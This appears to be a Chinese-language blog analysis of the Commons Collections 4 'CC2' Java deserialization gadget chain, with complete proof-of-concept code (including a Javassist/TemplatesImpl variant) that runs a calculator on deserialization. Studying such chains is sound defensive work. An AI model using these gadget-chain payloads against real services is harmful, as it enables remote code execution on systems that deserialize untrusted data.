一、背景

Apache Commons Collections 是一个著名的辅助开发库,包含了一些Java中没有的数据结构和辅助方法,不过随着Java 9以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。

在2015年底,commons-collections反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4
<dependencies>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-
collections -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-
collections4 -->
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

为什么会有两个分支呢?

因为官方认为旧的commons-collections有一些架构和API设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。

所以commons-collections4不再被认为是一个替换commons-collections的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在一个项目中。

CC2使用的是javassit和PriorityQueue来构造利用链,并且使用的是commons-collections4 4.0版本,而commons-collections 3.1-3.2.1 版本中TransformingComparator并没有实现Serializable接口,不可被序列化,所以CC2不使用 3.x版本。

二、利用链分析

利用链

ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

2.1 利用链1

先跟着利用链看一遍:

PriorityQueue.readObject()

在for循环中将反序列化的了放入queue数组中,然后进入heapify()

通过反射,queue数组是可控的

image-20220725155744827

heapify()

将size按位右移一位,其实就是除2,所以这里size需要大于等于2,然后进入siftDown()

image-20220725160332635

siftDown()

comparator不为空进入siftDownUsingComparator()

image-20220725160522265

siftDownUsingComparator()

然后进入 comparator.compare()方法,comparator是一个接口,compare是它的抽象方法

image-20220725160808177

而TransformingComparator类中实现该接口中的方法,我们就可以通过反射将该类的实例传入上面的comparator

image-20220725161202461

tranformer.transform()

Tranformer是一个接口,并且transform是可控的

而Tranformer的子类中有一些可以执行任意方法,那么大概的思路就可以想到了

POC1:

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1, Tcomparator);

        queue.add(1);
        queue.add(2);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

第一步:

通过反射获取Runtime对象

Transformer[] transformers = new Transformer[] {
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
               new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
               new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
       };

第二步:

当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;
将transformerChain传入TransformingComparator,从而调用transformer方法;

然后new PriorityQueue(1, Tcomparator),这里第一个参数需要大于1

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

image-20220725163533030

第三步:

因为前面说了size需要大于等于2,所以add两次,size=2

queue.add(1);
queue.add(2);

执行后,能弹出两次计算器,但是并没有执行后面的序列化反序列化代码:

因为add方法中调用了compare方法,在执行完命令后,return 0,所以执行break,退出了程序

(也就是说程序在add方法执行完后就结束了)

image-20220725170117565

image-20220725170137561

image-20220725164552842

那么如何不return 0 呢?

我们可以让comparator为null,前往siftUpComparable()方法,这样就不会执行compare

前往else,这里只需要构造函数传入comparator为null就行了

为了继续执行命令,在add方法之后,通过反射将comparator赋值,这样就可以执行命令了

完整POC

public class Test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,Tcomparator);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("D:\\IDEA-pros\\project\\Maven01\\test\\src\\main\\resources\\cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("D:\\IDEA-pros\\project\\Maven01\\test\\src\\main\\resources\\cc2.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

同时写入了cc2.txt文件

image-20220725172201175

当然,这里我想过为什么不能通过反射直接设置size,跳过add这一步,但是在writeObject()这一步报java.lang.ArrayIndexOutOfBoundsException: 1,不知道具体原因

Javassist简介

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>

ClassPool类

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

CtClass类

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类(父类),除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);

示例:

public class Test02 {
    public static void createPerson() throws Exception{
        //实例化一个ClassPool容器
        ClassPool pool = ClassPool.getDefault();
        //新建一个CtClass,类名为Cat
        CtClass cc = pool.makeClass("Cat");
        //设置一个要执行的命令
        String cmd = "System.out.println(\"javassit_test succes!\");";
        //制作一个空的类初始化,并在前面插入要执行的命令语句
        cc.makeClassInitializer().insertBefore(cmd);
        //重新设置一下类名
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //将生成的类文件保存下来
        cc.writeFile();
        //加载该类
        Class c = cc.toClass();
        //创建对象
        c.newInstance();
    }

    public static void main(String[] args) {
        try {
            createPerson();
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

添加的代码被放在static块中,所以创建对象后能直接执行

image-20220725181540593

image-20220725181638025

2.2 利用链2

在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;

POC:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {

    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

第一步:

通过反射创建一个InvokerTransformer对象(通过一个参数为newTransformer的构造函数)

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

第二步:

和之前一样的操作,PriorityQueue只传入1,使comparator为null

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

第三步:

这里就是上面javassist的知识

//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//在类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//在类的起始位置插入static代码块
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
//设置类的名字
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
//设置父类为AbstractTranslet
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维字节数组转化为二维字节数组
byte[][] targetByteCodes = new byte[][]{classBytes};

第四步:

实例化一个无参构造函数的TemplatesImpl对象,并设置其中的成员变量

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

第五步:

通过反射设置queue、size、comparator

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);


Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

第六步:

下面就是序列化、反序列化的步骤,debug跟一下

readObject()

image-20220725201158683

heapify()

siftDown()

siftDownUsingComparator()

comparator.compare()

这里的obj1就是我们传入的TemplatesImpl对象

image-20220725201432417

this.transformer.transform(obj1)

这里通过反射调用了newTransformer方法,IMethodName就是一开始传入的参数

image-20220725201605978

method.invoke(input, this.iArgs),进入无参newTransformer方法

image-20220725201836846

getTransletInstance()

这里就碰到了_name 和 _class ,也就是为什么之前设置的原因

注意红圈中的代码

image-20220725201912561

defineTransletClasses()

这里代码比较长,就列出来了(省略了一些代码)

_transletIndex=0 之后返回getTransletInstance()

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
    、、、、、
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
	、、、、、

            for (int i = 0; i < classCount; i++) {
                //将字节数组还原为类对象,这里就是为什么之前将一维数组变成二维数组
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // 检查父类是否为abstractTanslet,这也是之前设置的
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    //_transletIndex=0
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }

getTransletInstance()

然后执行上面红圈中的代码,实例化_class[0],也就是用ClassPool创建的EvileCat类

_class[_transletIndex].getConstructor().newInstance();

最后弹出计算器

三、总结

总体一步步看下来,虽然很多,但是容易理解

了解了CC2链,其他的利用链都有很多一样的地方

这次的分析也为理解其他利用链打下了基础

参考链接

https://xz.aliyun.com/t/10387

https://www.cnblogs.com/chengez/p/commoncollections2_4.html

https://blog.csdn.net/qq_35733751/article/details/118890261